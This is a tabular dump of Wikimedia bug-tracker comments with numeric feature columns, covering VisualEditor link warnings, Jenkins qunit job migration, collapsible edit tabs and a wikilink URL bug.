252851,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link",Hint: Links to disambig pages can now be easily checked with the isDisambiguationPage() function introduced with Gerrit 100413.,,,1387723690,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,24,,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.9545454545454546,Hint: Links to disambig pages can now be easily checked with the isDisambiguationPage() function introduced with Gerrit 100413.
252844,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link","Can we also ask that VE warns about ""auto-links"", which is, links in the article pointing to the article itself? https://bugzilla.wikimedia.org/show_bug.cgi?id=50497 explains why those links can happen, but that is true for templates, I can't recall real reasons for wanting that to happen in the article body as well.
So [[user:Fram]] suggested that a warning would be useful in that case.",,,1375369955,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,1.0,4.0,2.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,2.0,0.0,8.0,12.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,1.0,5.0,2.0,1.0,5.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,16.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,5.0,4.0,8.0,4.0,1.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,4.0,12.0,4.0,1.0,2.0,0.0,4.0,0.0,2.0,1.0,1.0,2.0,0.0,0.0,2.0,3.525,0.7125,"Can we also ask that VE warns about ""auto-links"", which is, links in the article pointing to the article itself? URL explains why those links can happen, but that is true for templates, I can't recall real reasons for wanting that to happen in the article body as well.
So [[user:Fram]] suggested that a warning would be useful in that case."
252839,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link","**Saehrimnirwikipedia** wrote:

Hi is anyone working on this since it is now deployed on more wikipedias this will become a bigger and bigger problem? Before VE people were checking if the Link was going to the right target more often because it was possible to have typos but with a drop down list they are bound to rely that what they pick will work as intended.",,,1374762733,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,3,,0.0,1.0,0.0,3.0,0.0,7.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,1.0,3.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,0.0,3.0,1.0,5.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,11.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,7.0,5.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,5.0,18.0,4.0,1.0,0.0,0.0,5.0,0.0,1.0,3.0,0.0,4.0,5.0,0.0,0.0,4.054054054054054,0.7837837837837838,"**Saehrimnirwikipedia** wrote:

Hi is anyone working on this since it is now deployed on more wikipedias this will become a bigger and bigger problem? Before VE people were checking if the Link was going to the right target more often because it was possible to have typos but with a drop down list they are bound to rely that what they pick will work as intended."
252836,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link",*** Bug 51524 has been marked as a duplicate of this bug. ***,,,1374488278,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51524 has been marked as a duplicate of this bug. ***
252834,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link",The current code related to this functionality is in VisualEditor/modules/ve-mw/ui/widgets/ve.ui.MWLinkTargetInputWidget.js if anyone wants to take a shot at it.,,,1374011002,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,2,,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,15.0,12.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.205882352941177,0.8235294117647058,The current code related to this functionality is in VisualEditor/modules/ve-mw/ui/widgets/ve.ui.MWLinkTargetInputWidget.js if anyone wants to take a shot at it.
252831,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link","This has come up in a discussion about surging numbers of dablinks being noticed by the dab project.  If VE is the source for this uptick, we should think about getting this fix in sooner rather than later. 

Discussion on en.:
http://en.wikipedia.org/wiki/Wikipedia:Village_pump_%28miscellaneous%29#Disambiguation_in_crisis",,,1373931722,,PHID-USER-ttyyrgsrkyonct7hizgv,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,22.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,14.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,10.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,22.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,3.82,0.88,"This has come up in a discussion about surging numbers of dablinks being noticed by the dab project.  If VE is the source for this uptick, we should think about getting this fix in sooner rather than later. 

Discussion on en.:
URL"
252827,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link",This has been implemented in the old editor (WikiEditor). See https://gerrit.wikimedia.org/r/#/c/70564/ for the implementation details. It should be easy to add this feature to VisualEditor as well.,,,1373921680,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,12.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1875,0.875,This has been implemented in the old editor (WikiEditor). See URL for the implementation details. It should be easy to add this feature to VisualEditor as well.
252823,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link",*** Bug 50986 has been marked as a duplicate of this bug. ***,,,1373472822,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50986 has been marked as a duplicate of this bug. ***
252818,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link","Sure; I don't think we're saying it shouldn't /let/ the user, merely that it should inform the user.",,,1372332875,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,8.0,0.0,12.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,8.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.4583333333333335,0.7916666666666666,"Sure; I don't think we're saying it shouldn't /let/ the user, merely that it should inform the user."
252811,"VisualEditor: Have the link inspector inform users if they're linking to a disambiguation or redirect page, or reinserting the same link","I agree for disambiguation pages.

But I believe creating a wikilink to a redirect page is OK. For instance linking to ""HTC Super3"" even though it is actually a redirect to ""HTC Super"".",,,1372323018,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-yv5u43sg36sflqbgt5oh,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,2.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,22.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,7.0,0.0,10.0,0.0,7.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,0.0,3.7560975609756095,0.6829268292682927,"I agree for disambiguation pages.

But I believe creating a wikilink to a redirect page is OK. For instance linking to ""HTC Super3"" even though it is actually a redirect to ""HTC Super""."
52231,Jenkins: migrate qunit jobs from master to gallium,"The Qunit jobs are currently running on the master, they need to be moved to
gallium slave nodes.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Medium,50.0,1372254900,1373031803.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-4pmiosnpdta6wvmtogmm,task_description,resolved,True,c1,2,True,False,True,-1,,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,7.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.926829268292683,0.7317073170731707,"The Qunit jobs are currently running on the master, they need to be moved to
gallium slave nodes.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
252258,Jenkins: migrate qunit jobs from master to gallium,I have updated some files ownerships manually and validated qunit tests jobs are passing for MediaWiki core and VisualEditor.,,,1373031803,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-4pmiosnpdta6wvmtogmm,task_subcomment,,True,c1,3,True,,,0,,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.35,0.95,I have updated some files ownerships manually and validated qunit tests jobs are passing for MediaWiki core and VisualEditor.
252255,Jenkins: migrate qunit jobs from master to gallium,"Change 72083 merged by Hashar:
tie qunit jobs to slaves

https://gerrit.wikimedia.org/r/72083",,,1373031569,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4pmiosnpdta6wvmtogmm,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,14.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.214285714285714,1.0,"Change 72083 merged by Hashar:
tie qunit jobs to slaves

GERRIT_URL"
252252,Jenkins: migrate qunit jobs from master to gallium,"Change 72086 merged by coren:
contint: file perms for qunit jobs

https://gerrit.wikimedia.org/r/72086",,,1373030886,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4pmiosnpdta6wvmtogmm,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.1875,0.9375,"Change 72086 merged by coren:
contint: file perms for qunit jobs

GERRIT_URL"
252247,Jenkins: migrate qunit jobs from master to gallium,"Change 72086 had a related patch set uploaded by Hashar:
contint: migrate qunit jobs to Jenkins slaves

https://gerrit.wikimedia.org/r/72086",,,1373029884,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4pmiosnpdta6wvmtogmm,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.5,0.9545454545454546,"Change 72086 had a related patch set uploaded by Hashar:
contint: migrate qunit jobs to Jenkins slaves

GERRIT_URL"
252243,Jenkins: migrate qunit jobs from master to gallium,"Change 72083 had a related patch set uploaded by Hashar:
tie qunit jobs to slaves

https://gerrit.wikimedia.org/r/72083",,,1373029751,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4pmiosnpdta6wvmtogmm,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.2105263157894735,1.0,"Change 72083 had a related patch set uploaded by Hashar:
tie qunit jobs to slaves

GERRIT_URL"
52225,"VisualEditor: Non-primary edit tab <li> should have class=""collapsible""","Screenshot: Narrow window

When space is scarce (for example at high zoom, or when the window is very narrow), the ""View history"" tab is moved to the drop-down menu (that also includes ""Delete"", ""Move"", etc.) so that the action remains accessible.

The ""Edit"" and ""Edit source"" tabs don't seem to do the same; they stay where they are, which prevents them from being used in similar situations (see attached screenshots).

It would imho make sense to migrate both tabs to the drop-down menu as well when there isn't enough space to display them at their usual location, so that users can still access the edit modes.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11766}",Medium,50.0,1372251780,1396642509.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-cc3wbqmetbmasfz6nkj6,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.5,1.0,1.0,6.5,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,6.0,9.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,6.0,1.0,0.5,0.0,0.0,0.5,0.5,0.0,1.0,0.0,3.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,10.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,7.5,4.5,1.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.5,9.0,2.0,0.0,5.0,0.0,3.5,0.0,2.5,0.0,1.0,0.0,0.0,0.0,1.0,3.5573187414500684,0.7078659370725033,"Screenshot: Narrow window

When space is scarce (for example at high zoom, or when the window is very narrow), the ""View history"" tab is moved to the drop-down menu (that also includes ""Delete"", ""Move"", etc.) so that the action remains accessible.

The ""Edit"" and ""Edit source"" tabs don't seem to do the same; they stay where they are, which prevents them from being used in similar situations (see attached screenshots).

It would imho make sense to migrate both tabs to the drop-down menu as well when there isn't enough space to display them at their usual location, so that users can still access the edit modes.

--------------------------
**Version**: unspecified
**Severity**: minor

**Attached**: {F11766}"
251918,"VisualEditor: Non-primary edit tab <li> should have class=""collapsible""","Change 123503 merged by jenkins-bot:
Give the edit tab <li> closest to the collapsed tabs menu class=collapsible

https://gerrit.wikimedia.org/r/123503",,,1396639943,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cc3wbqmetbmasfz6nkj6,task_subcomment,,True,c1,3,False,,,39,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,4.037037037037037,0.9629629629629629,"Change 123503 merged by jenkins-bot:
Give the edit tab <li> closest to the collapsed tabs menu class=collapsible

GERRIT_URL"
251911,"VisualEditor: Non-primary edit tab <li> should have class=""collapsible""","Change 123503 had a related patch set uploaded by Alex Monk:
Give the edit tab <li> closest to the collapsed tabs menu class=collapsible

https://gerrit.wikimedia.org/r/123503",,,1396487823,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cc3wbqmetbmasfz6nkj6,task_subcomment,,True,c1,3,False,,,39,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,16.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,4.096774193548387,0.967741935483871,"Change 123503 had a related patch set uploaded by Alex Monk:
Give the edit tab <li> closest to the collapsed tabs menu class=collapsible

GERRIT_URL"
251902,"VisualEditor: Non-primary edit tab <li> should have class=""collapsible""","(In reply to comment #0)
> It would imho make sense to migrate both tabs to the drop-down menu as well
> when there isn't enough space to display them at their usual location, so
> that
> users can still access the edit modes.

""Edit"" is not normally collapsed, but it would make sense for ""Edit source"". You'd just add class=""collapsible"" on the <li> and it will magically work.",,,1372252025,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-cc3wbqmetbmasfz6nkj6,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,4.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,6.0,8.0,9.0,0.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.2641509433962264,0.7547169811320755,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

""Edit"" is not normally collapsed, but it would make sense for ""Edit source"". You'd just add class=""collapsible"" on the <li> and it will magically work."
251895,"VisualEditor: Non-primary edit tab <li> should have class=""collapsible""","Created attachment 12643
Screenshot: High zoom

**Attached**: {F11767}",,,1372251857,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-cc3wbqmetbmasfz6nkj6,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.611111111111111,0.7777777777777778,"Created attachment 12643
Screenshot: High zoom

**Attached**: {F11767}"
52216,VisualEditor: Middle-clicking/Ctrl+clicking on wikilinks fails when using full index.php URL,"1. Go to http://en.wikipedia.org/w/index.php?title=Black&veaction=edit
2. Middle-click or ctrl+click on any wikilink

You get a 404 page, e.g. http://en.wikipedia.org/w/Outer_space

VE should use fully qualified hrefs (/wiki/foo), just as MW always does.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1372231980,1372270074.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-rl6rjnnqsrrmwprvwrmk,task_description,resolved,True,c1,2,False,False,True,-1,,2.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,2.0,5.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,3.3548387096774195,0.7419354838709677,"1. Go to URL
2. Middle-click or ctrl+click on any wikilink

You get a 404 page, e.g. URL

VE should use fully qualified hrefs (/wiki/foo), just as MW always does.

--------------------------
**Version**: unspecified
**Severity**: normal"
251419,VisualEditor: Middle-clicking/Ctrl+clicking on wikilinks fails when using full index.php URL,"I think this is a duplicate of 48915, which clearly we should fix right now.

